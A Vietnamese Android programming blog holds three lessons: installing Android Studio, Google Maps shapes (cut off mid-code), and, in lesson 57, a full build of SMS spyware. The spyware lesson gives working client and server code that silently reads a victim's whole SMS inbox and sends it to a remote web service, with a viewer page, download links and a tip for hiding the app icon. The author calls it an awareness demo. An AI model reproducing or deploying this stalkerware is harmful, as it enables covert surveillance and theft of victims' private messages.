Bài 58: Làm quen với môi trường lập trình Android Studio – Phần 1


Như chúng ta đã biết hiện nay hãng Google đã release bản Android Studio thay thế cho bản Eclipse cũ, khi ta vào link http://developer.android.com/sdk/index.html để tải thì không còn thấy xuất hiện bản cũ nữa mà được thay thế bởi Android Studio.

Như vậy ông lớn Google đã nối gót ông lớn Microsoft để tự tạo ra bộ công cụ lập trình chuẩn riêng. Với Android Studio thì giao diện và đặc biệt là sự biến mất WorkSpace có đôi chút gây khó khăn cho lập trình viên khi mới bắt đầu chuyển qua công cụ này, cũng rất may là Google hỗ trợ tính năng Import Project từ Eclipse cũ qua được Android Studio và logic lập trình cũng tương tự, không khác nhau mấy.

Khi bạn tải Android Studio về thì nó sẽ bao gồm các thành phần sau:

  • Android Studio IDE
  • Android SDK tools
  • Android 5.0 (Lollipop) Platform
  • Android 5.0 emulator system image with Google APIs

Với bản Emulator cho Android 5.0 thì máy tính của lập trình viên phải hỗ trợ tính năng Ảo Hóa và phải cài đặt thêm Hardware Accelerated Execution Manager. Và dĩ nhiên nếu như bạn vừa đồng thời lập trình Windows Phone 8, 8.1 thì có thể sảy ra rắc rối khi bạn kích hoạt Hyper-V (Bạn phải  biết cách sử dụng lệnh để chuyển đổi qua lại khi bạn thay đổi lập trình Android qua Windows phone và ngược lại, dĩ nhiên phải khởi động lại máy, Tui sẽ hướng dẫn cách gõ lệnh thực hiện đều trên ở bài tiếp theo).

Khi bạn vào http://developer.android.com/sdk/index.html, bạn chọn “Download Android Studio for Windows” như hình dưới đây:

android_58_1Bạn copy link chuyển qua IDM để tải cho lẹ (https://dl.google.com/dl/android/studio/install/1.0.1/android-studio-bundle-135.1641136.exe) dung lượng gần 850MB.

– Một số yêu cầu cấu hình lưu ý trước khi cài đặt:

  • Microsoft® Windows® 8/7/Vista/2003 (32 or 64-bit)
  • Tối thiểu 2 GB RAM hoặc 4 GB RAM, Tui nghĩ càng nhiều càng tốt. 4GB RAM thì cũng có thể gây cho ta một giấc ngủ dài khi ngồi Debug
  • 400 MB hard disk space + ít nhất 1 G cho Android SDK, emulator system images và caches
  • Độ phân giải tối thiếu 1280 x 800
  • Java Development Kit (JDK) 7 trở lên (giờ có bản 8 rồi nên bạn sử dụng luôn – Tui đang sài)
  • Lựa chọn thêm cho accelerated emulator: Intel® processor with support for Intel® VT-x, Intel® EM64T (Intel® 64), and Execute Disable (XD) Bit functionality

Trong phần này Tui sẽ hướng dẫn các bạn cách thức cài đặt Android Studio (dĩ nhiên bạn phải cài trước JDK):

Bước 1:

Sau khi tải về máy thành công, bạn double click vào tập tin “android-studio-bundle-135.1641136.exe

android_58_2Màn hình Welcome to Setup Android Studio sẽ xuất hiện:

android_58_4Ta bấm Next để qua bước 2.

Bước 2:

Màn hình chọn các thành phần cài đặt

android_58_5Ở bước này ta thấy rằng Android Studio yêu cầu tối thiểu gần 4GB để lưu trữ, ta chọn cấu hình như trên rồi bấm Next để qua bước 3.

Bước 3:

Bước đọc xác nhận bản quyền và một số ràng buộc liên quan tới mã nguồn mở.

android_58_6Nếu bạn rảnh thì có thể kéo xuống để đọc cho hết các mô tả sau đó nhấn nút “I Agree” để qua bước 4.

Bước 4:

Cấu hình chọn lựa nơi cài đặt Android Studio.

android_58_7Tui nghĩ rằng ở bước này bạn nên để mặc định không tỏ vẻ nguy hiểm chọn lung tung kẻo sai cấu hình, nhấn Next để qua bước 5.

Bước 5:

Bước chọn Start Menu folder

android_58_8Ở bước này bạn cũng để mặc định, đừng thay đổi gì cả rồi nhấn nút Install để tiến hành cài đặt

Bước 6:

Chờ hệ thống cài đặt phần mềm Android Studio

android_58_9Bạn phải ngồi canh xem nó có báo thiếu thốn hay lỗi gì không, đợi cho tới khi nó báo complete như màn hình dưới đây:

android_58_10Bấm Next để qua màn hình tiếp theo (màn hình xác nhận kết thúc):

android_58_11Nếu bạn checked “Start Android Studio” rồi bấm Finish thì hệ thống sẽ khởi động luôn phần mềm Android Studio cho bạn:

android_58_12Ở màn hình trên lần đầu tiên bạn sẽ chờ hơi lâu một chút, trong quá trình khởi động nó sẽ ra màn hình sau:

android_58_13Nó hiển thị màn hình trên có thể do trước khi hãng Google Release bản này Tui có lập trình thử với bản Beta, bạn chọn cấu hình phù hợp rồi nhấn nút OK, hệ thống tiếp tục chạy….

android_58_14… bạn chờ cho hệ thống chạy hoàn tất, thường nếu lần đầu bạn sử dụng thì nó sẽ bắt tải tùm lum thứ cho đủ

android_58_15chờ nó tải xong (hơi lâu đó nha):

android_58_16Khi xong thì bạn nhấn nút Finish:

android_58_17Ở trên là màn hình bắt đầu lựa chọn tạo Project, mở project, Import project hay các cấu hình khác….

Bạn tới được màn hình này coi như bạn đã hoàn tất phần 1 – Cài đặt Android Studio.

Các lần sau bạn khởi động sẽ rất nhanh, Android Studio sẽ tự động mở ra màn hình cuối cùng này.

Bạn chú ý kiểm tra cấu hình máy và tiến hành cài đặt Android Studio để chuẩn bị cho những bài hướng dẫn kế tiếp về Android sẽ sử dụng bản Release mới này.

Chúc các bạn thành công.

Bài 57: Xây dựng phần mềm nghe trộm Tin Nhắn trong Android


Hiện nay có rất nhiều phần mềm cài cắm sẵn những đoạn mã có thể nghe lén được thông tin của người sử dụng. Nhưng thường người sử dụng lại ít khi quan tâm, nó thực sự nguy hiểm.

Tui dám chắc nếu như các bạn tải phần mềm từ store hay từ đâu đó về cài vào máy thì bạn chả thèm đọc những thông số cấu hình cũng như yêu chức năng nào đó… bạn cứ thế phang từ đầu chí cuối : Next, next, … and finish…. và kết thúc luôn cuộc sống riêng tư của bạn….

Trong bài viết này Tui muốn demo một phần mềm chạy ngầm nho nhỏ về việc Nghe Trộm Tin Nhắn trong Android, để mọi người cẩn thận khi tải các phần mềm miễn phí có tương tác SMS, internet…. tránh được những rắc rối về sau. Các bạn không được áp dụng nó để cài cắm hay theo dõi ai, vì mục đích của Tui là muốn demo việc cài cắm phần mềm nghe lén nó dễ dàng như thế nào và mọi tin nhắn ta bị người khác đọc hết ra sao… để ta cẩn trọng hơn chứ không phải áp dụng vào việc nghe lén người khác. Nếu bạn nào có ý định viết coding nghe lén ai đó thì xin đừng vào blog này để học.

Tui sẽ đưa ra mô hình cũng như cách thức hoạt động của phần mềm Spyware SMS này như sau:

android_57_2

Mô hình trên Tui đánh thứ tự từ 1->4:

Số 1: Là bất kỳ một điện thoại nào đó muốn gửi tin nhắn cho số 2.

Số 2: Là nạn nhân đang bị cài phần mềm gián điệp nghe lén SMS. Phần mềm này có thể sử dụng nhiều chiêu thức, ở đây Tui ví dụ sử dụng BroadCast Receiver để tự động bắt gói tin SMS và sau đó gửi lên SERVER SPYWARE thông qua Web service.

 Số 3: Là Server SPYWARE do ai đó có ý đồ xây dựng để nhận thông tin gửi về từ phần mềm gián điệp sau đó nó sẽ lưu vào cơ sở dữ liệu (số 4) để phục vụ cho các ý đồ không tốt khác.

Số 4: Là Cơ sở dữ liệu được họ xây dựng để lưu lại toàn bộ thông tin trao đổi giữa nạn nhận với các đối tác, họ lưu vào CSDL để phục vụ cho các ý đồ theo sau đó như: Bán thông tin cho Công ty đối thủ, quấy rối, Tống tiền cũng như các mục đích xấu khác ….

Nếu như bạn chỉ là một người dân bình thường, mọi tin nhắn là vô thưởng vô phạt… ví dụ như “Em ăn cơm chưa”, “Em ngủ chưa”, “Em còn sống hay nhăn răng rồi…”, “Em làm gì kệ xác em chứ…” thì chả có ý nghĩa gì với phần mềm gián điệp. Nhưng Tui giả sử bạn là một người của CÔNG CHÚNG (một ca sĩ nổi tiếng, một MC truyền hình nổi tiếng, 1 chính trị gia xuất chúng)., hay một Tổng giám đốc một công ty lớn… Mọi trao đổi thông tin của bạn với đối tác, với người hâm mộ… Nếu như bị người xấu biết được thì làm sao nhỉ? chết chắc chứ con gì…. Giả sử bạn là 1 Giám Đốc, bạn có tin nhắn của Đối Tác cần ký một hợp đồng quan trọng… tự nhiên bị Đối Thủ biết được thì sẽ như thế nào? Phá sản ư? có thể đấy chứ….. Hay là “các” bà Vợ của bạn thường hay nghi ngờ bạn lăng nhăng, họ ngấm ngầm cài phần mềm gián điệp để theo dõi bạn, nếu biết bạn đang có âm mưu lừa ai đó …. Tui nghĩ để Vợ biết được chắc bạn phải học Tịnh Tà Kiếm Phổ suốt đời.

———————————————————————

Sau đây là các bước tiến hành:

– Chú ý CSDL và Web project bạn cấu hình trên somee.com để test (hoặc nếu bạn có Host riêng thì tự làm trên Host của bạn). Cách sử dụng somee.com bạn xem lại các bài hướng dẫn trước (phần Webservice).

1) Xây dựng CSDL với tên dbSpywareSMSApp:

android_57_6Ở đây Tui tạo 2 bảng đơn giản:

– Bảng Account nhằm mục đích đăng nhập hệ thống để quản lý các tin nhắn SMS Spyware gửi về: Gồm có user name và mật khẩu (dĩ nhiên Tui chưa có băm mật khẩu, bạn tự viết coding băm)

– Bảng SMSSpyware, nó có 3 cột. Tui để phonenumber và timestamp (thời gian nhận tin) làm khóa chính. body là nội dung tin nhắn.

2) Xây dựng Web project (SpywareSMSServerApp):

android_57_7- dbSpywareSMSApp.dbml: Bạn kéo LINQ để sử dụng (xem lại các bài hướng dẫn trước):

android_57_8Mở cửa sổ Server Explorer trong Visual Studio/ chọn biểu tượng Connect/ kết nối CSDL mong muốn/ rồi kéo thả vào như hình trên.

- SmsExtraInfo: Lớp đặc tả lại cho tin nhắn SMS vì do timestamp được nhận là kiểu long, ở đây ta sửa lại cho nó ra ngày tháng năm theo định dạng nào đó (chuỗi)

- WebService1.asmx: Web service cung cấp 2 dịch vụ:

+ public bool LuuSmsChomDuoc(string phoneNumber, string timeStamp, string body)

–> dịch vụ này dùng để cho phần mềm gián điệp đọc thông tin SMS và gửi lên SERVER SPYWARE–> đẩy xuống CSDL

+  public SmsExtraInfo[] DocToanBoTinNhanChomDuoc()

–> Dịch vụ này truy vấn toàn bộ SMS đọc tự CSDL do dịch vụ saveSMSSpyWare lưu xuống.

+ Default.aspx: Website hiển thị toàn bộ SMS đọc lén được thông qua dịch vụ DocToanBoTinNhanChomDuoc. chú ý nếu chưa đăng nhập sẽ tự động quay lại trang login.aspx.

+ login.aspx: Trang yêu cầu đăng nhập hệ thống, đăng nhập thành công mới cho vào trang Default.aspx

Chi tiết:

source code SmsExtraInfo:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

namespace SpywareSMSServerApp
{
[Serializable]
public class SmsExtraInfo
{
public string PhoneNumber { get; set; }
public string TimeStamp { get; set; }
public string Body { get; set; }
}
}

Source code WebService1:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Services;

namespace SpywareSMSServerApp
{
    /// <summary>
    /// Summary description for WebService1
    /// </summary>
    [WebService(Namespace = "http://tranduythanh.com/")]
    [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
    [System.ComponentModel.ToolboxItem(false)]
    // To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line.
    // [System.Web.Script.Services.ScriptService]
    public class WebService1 : System.Web.Services.WebService
    {

        [WebMethod]
        public string HelloWorld()
        {
            return "Hello World";
        }
        [WebMethod]
        public bool LuuSmsChomDuoc
            (string phoneNumber, string timeStamp, string body)
        {
            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            SMSSpyware smsChom = db.SMSSpywares.
                FirstOrDefault(x => x.phonenumber == phoneNumber
                    && x.timestamp == timeStamp);
            //nếu tin này =null thì ta mới lưu
            //bằng null tức là chưa tồn tại trong SERVER SPYWARE
            if (smsChom == null)
            {
                try
                {
                    smsChom = new SMSSpyware();
                    smsChom.phonenumber = phoneNumber;
                    smsChom.timestamp = timeStamp;
                    smsChom.body = body;
                    db.SMSSpywares.InsertOnSubmit(smsChom);
                    db.SubmitChanges();
                    return true;
                }
                catch
                {
                 
                }                
            }
            return false;
        }
        //hàm chuyển timestamp trong java qua .net
        public static DateTime JavaTimeStampToDateTime(double javaTimeStamp)
        {
            // Java timestamp is millisecods past epoch
            System.DateTime dtDateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, System.DateTimeKind.Utc);
            dtDateTime = dtDateTime.AddSeconds(Math.Round(javaTimeStamp / 1000)).ToLocalTime();
            return dtDateTime;
        }
        [WebMethod]
        public SmsExtraInfo[] DocToanBoTinNhanChomDuoc()

        {

            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            List<SMSSpyware> dsSMS = db.SMSSpywares.ToList();
            List<SmsExtraInfo> dsDisplay = new List<SmsExtraInfo>();
            foreach (SMSSpyware sms in dsSMS)
            {
                SmsExtraInfo infor = new SmsExtraInfo();
                infor.Body = sms.body;
                long l=long.Parse(sms.timestamp);
                DateTime d = JavaTimeStampToDateTime(l);
                infor.TimeStamp = d.ToLongDateString();
                infor.PhoneNumber = sms.phonenumber;
                dsDisplay.Add(infor);
                
            }
            return dsDisplay.ToArray();
        }
        [WebMethod]
        public Account DangNhap(string userName, string passWord)
        {
            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            Account ac = db.Accounts.FirstOrDefault
                (x => x.username == userName && x.password == passWord);
            return ac;
        }
    }
}

Bạn chú ý ở trên có đoạn coding chuyển TimeStamp từ Android qua DateTime trong asp.net.

Bạn có thể nối thêm ToLongTimeString để nó có đầy đủ giờ phút giây…

infor.TimeStamp = d.ToLongDateString()+”;”+d.ToLongTimeString();

Source Design Default.aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="SpywareSMSServerApp.Default" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
    <meta http-equiv="refresh" content="10"/>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    
        Danh sách tin nhắn chôm được:<br />
        <asp:GridView ID="GridView1" runat="server">
        </asp:GridView>
    
    </div>
    </form>
</body>
</html>

<meta http-equiv="refresh" content="10"/> 
cho phép tự động 10 giây tải lại website 1 lần.

Source coding behind Default.aspx.cs:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace SpywareSMSServerApp
{
public partial class Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Session["AC"] == null)
{

//Chưa đăng nhập thì quay lại login
Response.Redirect("login.aspx");
}
else
{
WebService1 ws=new WebService1();
GridView1.DataSource = ws.DocToanBoTinNhanChomDuoc();
GridView1.DataBind();
}
}
}
}

Source design cho màn hình đăng nhập login.aspx:


<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="SpywareSMSServerApp.Login" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<style type="text/css">
.auto-style1 {
width: 100%;
}
</style>
</head>
<body>
<form id="form1" runat="server">
<table >
<tr>
<td>Tên đăng nhập:</td>
<td>
<asp:TextBox ID="txtUserName" runat="server"></asp:TextBox>
</td>
</tr>
<tr>
<td>Mật Khẩu:</td>
<td>
<asp:TextBox ID="txtPassword" runat="server" TextMode="Password"></asp:TextBox>
</td>
</tr>
<tr>
<td>&nbsp;</td>
<td>
<asp:Button ID="btnDangNhap" runat="server" OnClick="btnDangNhap_Click" Text="Đăng nhập" />
</td>
</tr>
</table>
<asp:Label ID="lblThongBao" runat="server" ForeColor="Red"></asp:Label>
<br />
</form>
</body>
</html>

Hình minh họa:

android_57_9Source coding behind xử lý đăng nhập:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace SpywareSMSServerApp
{
public partial class Login : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{

}

protected void btnDangNhap_Click(object sender, EventArgs e)
{
WebService1 ws = new WebService1();
Account ac = ws.DangNhap(txtUserName.Text, txtPassword.Text);
if (ac == null)
{
lblThongBao.Text = "Đăng nhập thất bại";
}
else
{
//cần lưu ac đăng nhập vào Session:
Session.Add("AC", ac);
Response.Redirect("Default.aspx");
}
}
}
}

Như vậy bạn đã xây dựng xong SERVER SPYWARE và CSDL.

Bạn cấu hình và đưa lên Somee.com thì bạn được kết quả như sau (nếu đăng nhập thành công):

android_57_10Nếu bạn nối thêm ToLongTimeString thì có kết quả như sau (Đầy đủ giờ phút giây…):

android_57_11Các bước đưa lên Somee.com bạn phải tự xem lại các bài hướng dẫn trước rất chi tiết.

Source code bạn tải ở đây:

Source SQL Server: http://www.mediafire.com/download/1deekpd7r59sv6w/dbSpywareSMSApp.sql

Tui để sẵn dòng insert account, bạn sửa lại rồi chạy script trên Somee.com để tạo CSDL

Source Web Project: http://www.mediafire.com/download/aj3e64fqjq60cf5/SpywareSMSServerApp.rar

Bạn nhớ sửa lại web.config cho đúng cấu hình với chuỗi kết nối của bạn.

Cấu hình thành công bạn sẽ được mô tả webservice như của Tui như link sau:

http://duythanhit.somee.com/webservice1.asmx?WSDL

*** Tiếp theo xây dựng phần mềm Gián điệp client, tên là SpywareSMSApp với cấu trúc như sau:

android_57_5Giải thích:

SmsInfo : Lớp tạo một tin nhắn SMS để phục vụ cho SpywareTask SpywareSmsReceiver

SpywareSmsReceiver: Lớp tự động lắng nghe tin nhắn gửi tới và đọc thông tin tin nhắn, đóng gói thành lớp SmsInfo rồi gửi gói này cho SpywareTask.

SpywareTask : Là lớp chạy đa tiến trình, nhiệm vụ là nhận gói tin SmsInfo do SpywareSmsReceiver gửi qua, nhận được gói tin xong nó sẽ gửi lên SERVER SPYWARE thông qua Web Service.

Chú ý là phần mềm sau khi được cài đặt vào máy nạn nhân nó sẽ tự động lắng nghe tin SMS gửi tới, cho dùng nạn nhân không kích hoạt phần mềm.

source code của SmsInfo:


package tranduythanh.com.spywaresmsapp;

public class SmsInfo {
private String phoneNumber;
private String timeStamp;
private String body;
public String getPhoneNumber() {
return phoneNumber;
}
public void setPhoneNumber(String phoneNumber) {
this.phoneNumber = phoneNumber;
}
public String getTimeStamp() {
return timeStamp;
}
public void setTimeStamp(String timeStamp) {
this.timeStamp = timeStamp;
}
public String getBody() {
return body;
}
public void setBody(String body) {
this.body = body;
}

}

Tiếp theo là coding lớp SpywareSmsReceiver  (lớp tự lắng nghe tin nhắn gửi tới và gửi gói tin qua SypeWare task):


package tranduythanh.com.spywaresmsapp;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.SystemClock;
import android.widget.Toast;

public class SpywareSmsReceiver extends BroadcastReceiver {
/**
* Hàm kiểm tra xem thiết bị của máy nạn nhân có đang
* kết nối internet hay ko?
* @param context
* @return
*/
public boolean isConnect(Context context)
{
ConnectivityManager cm =
(ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo netInfo = cm.getActiveNetworkInfo();
boolean b= netInfo != null && netInfo.isConnectedOrConnecting();
return b;
}
public void onReceive(Context context, Intent intent) {
if(isConnect(context))
{
try
{
processReadAllSMSInInbox(context);
}
catch(Exception ex)
{
Toast.makeText(context,ex.toString(), Toast.LENGTH_LONG).show();
}
}
else
{
Toast.makeText(context, "No internet", Toast.LENGTH_LONG).show();
}
}
/**
* xử lý đọc toàn bộ tin nhắn trong inbox
* mục đích là giết lầm hơn bỏ sót...
* vì có thể trước thời điểm cài phần mềm Spyware
* đã có nhiều tin nhắn, nên ta đọc hết
* @param context
*/
public void processReadAllSMSInInbox(Context context)
{
ContentResolver contentResolver =
context.getContentResolver();
Cursor cursor = contentResolver.query(
Uri.parse("content://sms/inbox"),
null, null, null, null
);

int indexPhoneNumber = cursor.getColumnIndex("address");
int indexTimeStamp = cursor.getColumnIndex("date");
int indexBody = cursor.getColumnIndex("body");
if ( indexBody < 0 || !cursor.moveToFirst() )
return;
do{
String phonenumber=cursor.getString( indexPhoneNumber );
String timeStamp=cursor.getString(indexTimeStamp);
String body= cursor.getString( indexBody );
SmsInfo smsInfor=new  SmsInfo();
smsInfor.setBody(body);
smsInfor.setPhoneNumber(phonenumber);
smsInfor.setTimeStamp(timeStamp);
//mỗi lần đọc được 1 tin nhắn thì đưa vào tiểu trình
//để đẩy lên server spyware
SpywareTask task=new SpywareTask();
task.execute(smsInfor);
SystemClock.sleep(100);
}
while( cursor.moveToNext() );
}
}

– Source code của lớp SpywareTask (tiểu trình để đẩy gói tin lên server spyware):


package tranduythanh.com.spywaresmsapp;

import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;

import android.os.AsyncTask;

public class SpywareTask extends AsyncTask<SmsInfo, Void, Void>{
final String URL="http://duythanhit.somee.com/webservice1.asmx?WSDL";
final String NAMESPACE="http://tranduythanh.com/";
final String METHOD_NAME="LuuSmsChomDuoc";
final String SOAP_ACTION=NAMESPACE+METHOD_NAME;
@Override
protected Void doInBackground(SmsInfo... params) {
try{
SmsInfo sms=params[0];
SoapObject request=new SoapObject(NAMESPACE, METHOD_NAME);
request.addProperty("phoneNumber", sms.getPhoneNumber());
request.addProperty("timeStamp", sms.getTimeStamp());
request.addProperty("body", sms.getBody());
SoapSerializationEnvelope envelope=
new SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.dotNet=true;
envelope.setOutputSoapObject(request);
HttpTransportSE androidHttpTransport=
new HttpTransportSE(URL);
androidHttpTransport.call(SOAP_ACTION, envelope);
envelope.getResponse();
}
catch(Exception e)    {}
return null;
}
}

– Ta không cần viết coding gì hết trong MainActivity

– Tiếp theo để cho ứng dụng có khả năng chạy ngầm và tự động lắng nghe SMS thì ta cấu hình AndroidManifest như sau:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="tranduythanh.com.spywaresmsapp"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.INTERNET"/>

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<receiver android:name="tranduythanh.com.spywaresmsapp.SpywareSmsReceiver" >
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>

</manifest>

- Giải thích:

+<uses-permission android:name=”android.permission.ACCESS_NETWORK_STATE” /> quyền cho phép kiểm tra trạng thái kết nối mạng của thiết bị. Còn các quyền khác bạn đã biết.

+ Từ dòng 32->36:

<receiver android:name=”tranduythanh.com.spywaresmsapp.SpywareSmsReceiver” >
<intent-filter>
<action android:name=”android.provider.Telephony.SMS_RECEIVED” />
</intent-filter>

Cho phép đăng ký SpywareSmsReceiver như là 1 dịch vụ chạy ngầm và nó tự lắng nghe theo android.provider.Telephony.SMS_RECEIVED (tin nhắn tới) được khái báo trong tag intent-filter .

– Như vậy bạn đã hoàn thành xây dựng ứng dụng Gián Điệp, chỉ cần máy nạn nhân cài đặt phần mềm này, khi có kết nối internet nếu có bất kỳ tin nhắn nào gửi tới máy nạn nhân thì bạn đều đọc được hết thông tin trong inbox. Bạn thấy đấy, các phần mềm trên mạng có thể dễ dàng cài phần mềm gián điệp mà bạn không hề để ý… mọi tin của bạn đều có thể bị đọc trộm…nó rất nguy hiểm. Bạn cần biết sự nguy hiểm này thông qua các cách hướng dẫn lập trình ở trên để biết tránh rủi ro chứ không phải dùng với mục đích xấu.

-Bạn có thể tải source client Sms Spyware đầy đủ ở đây:

http://www.mediafire.com/download/qi95v0w63makg5g/SpywareSMSApp.rar

Thường khi chúng ta bị cài phần mềm gián điệp thì không thấy xuất hiện Icon khi cài đặt vào máy, chỉ trong Application Manager mới thấy, do cấu hình đơn giản trong Android Manifest như sau:

<activity
            android:name=”.MainActivity”
            android:label=”@string/app_name” >
            <intent-filter>
                <action android:name=”android.intent.action.MAIN” />

                <category android:name=”android.intent.category.LAUNCHER” />
            </intent-filter>
</activity>

Xóa hết Intent -Filter đi chỉ còn lại:

<activity
            android:name=”.MainActivity”
            android:label=”@string/app_name” >
</activity>

Do đó khi bị cài ngầm vào, nạn nhân thường không biết vì không thấy biểu tưởng phần mềm nào lạ cả. Nhưng nó đã đang chạy ngầm rồi.

– Chúc bạn thành công! và nhớ đừng làm việc gì xấu xa.

Bài 56: Google Maps Android API – phần 4


Tiếp tục bài 55, bài 54, bài 53 bạn đã cơ bản lập trình được với Google Map. Trong bài này Tui sẽ hướng dẫn các bạn cách dùng các đối tượng Shape để tương tác với Google Map, chẳng hạn như:

  • Polyline
  • Polygons
  • Circle

Hay cách hiển thị kiểu Map tùy thích (hiện nay Google Map cung cấp các chế độ: NONE, NORMAL, SATELLITE, HYBRID và TERRAIN).

Trước tiên bạn bổ sung thêm Spinner để cho phép hiển thị kiểu Map theo yêu cầu của người sử dụng:

android_56_1Tiếp tục với Project LearnGoogleMap, bạn tiến hành chỉnh sửa Layout main Activity như sau:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="tranduythanh.com.learngooglemap.MainActivity" >

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Chọn kiểu Map:" />

<Spinner
android:id="@+id/spinner_map_type"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_weight="1" />

</LinearLayout>

<fragment
android:id="@+id/map"
android:layout_width="match_parent"
android:layout_height="match_parent"
class="com.google.android.gms.maps.MapFragment"
/>

</LinearLayout>

Tiếp tục bổ sung string-array cho strings.xml để lưu trữ các cách hiển thị Map, đặt tên array này là maps_type:


<string-array name="maps_type">
<item >MAP_TYPE_NONE</item>
<item >MAP_TYPE_NORMAL</item>
<item >MAP_TYPE_SATELLITE</item>
<item >MAP_TYPE_HYBRID</item>
<item >MAP_TYPE_TERRAIN</item>
</string-array>

Cuối cùng trong MainActivity, tiến hành hiệu chỉnh coding để tương tác với Spinner, tương ứng với kiểu chọn lựa nào thì hiển thị Map với chế độ đó:


Spinner spinner_maps_type=(Spinner) findViewById(R.id.spinner_map_type);
String arrMap[]=getResources().getStringArray(R.array.maps_type);
ArrayAdapter<String> adapterMap=new ArrayAdapter<>
(this, android.R.layout.simple_spinner_item, arrMap);
adapterMap.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinner_maps_type.setAdapter(adapterMap);
spinner_maps_type.setOnItemSelectedListener(new OnItemSelectedListener() {

@Override
public void onItemSelected(AdapterView<?> arg0, View arg1,
int arg2, long arg3) {
int type=GoogleMap.MAP_TYPE_NORMAL;
switch(arg2)
{
case 0:
type=GoogleMap.MAP_TYPE_NONE;
break;
case 1:
type=GoogleMap.MAP_TYPE_NORMAL;
break;
case 2:
type=GoogleMap.MAP_TYPE_SATELLITE;
break;
case 3:
type=GoogleMap.MAP_TYPE_TERRAIN;
break;
case 4:
type=GoogleMap.MAP_TYPE_HYBRID;
break;
}
map.setMapType(type);
}

@Override
public void onNothingSelected(AdapterView<?> arg0) {
}
});

Khi chạy ứng dụng lên ta sẽ có các kết quả sau:android_56_2- Tiến hành vẽ các đối tượng Shape lên Google Map: Tui sẽ hướng dẫn cách vẽ    Polyline, Polygons, Circle trên Map, dưới đây là một số hình minh họa:

android_56_3

*polyline:

– Để vẽ và đường polyline (những đường thẳng liên tục những không khép kín)

 

Ta khai báo đối tượng PolylineOptions :

PolylineOptions plOption=new  PolylineOptions();

Sau đó đưa tất cả các tọa độ vào PolylineOptions rồi đẩy vào hàm :

Polyline polyline= map.addPolyline(plOption);

Hàm addPolyline sẽ trả về 1 Polyline, ta có thể hiệu chỉnh đối tượng này như sau:

– Thiết lập màu đường kẻ: polyline.setColor(Color.RED);

– Thiết lập độ dày đường kẻ: polyline.setWidth(5)

– Thiết lập độ chồng lấp: polyline.setZIndex(1);

*Polygon:

Vẽ các đường line liên tục và khép kín

Tương tự ta tạo đối tượng : PolygonOptions

PolygonOptions pgOption=new PolygonOptions();

Đẩy tất cả tọa độ vào PolygonOptions sau đó đưa vào hàm:

Polygon polyGon= map.addPolygon(pgOption);

Hàm addPolygon trả về một đối tượng Polygon , ta có thể hiệu chỉnh:

– Thiết lập màu đường viền:polyGon.setStrokeColor(Color.BLUE);

– Thiết lập màu nền: polyGon.setFillColor(Color.YELLOW);

– Thiết lập độ dày: polyGon.setStrokeWidth(5);

 *Circle:

Vẽ đường tròn

tương tự ta khai báo đối tượng CircleOptions:

CircleOptions optionCircle=new CircleOptions();

Thiết lập tọa độ trung tâm và bán kính:

optionCircle.center(latCenter).radius(50);

Sau đó đưa vào hàm:

Circle cir=map.addCircle(optionCircle);

addCircle trả về một Circle, ta có thể thiết lập:

– Màu đường viền:cir.setStrokeColor(Color.BLUE);

– Màu nền : cir.setFillColor(Color.RED);

*** Bây giờ ta bổ sung Menu gồm 3 phần tử:


<menu xmlns:android="http://schemas.android.com/apk/res/android"
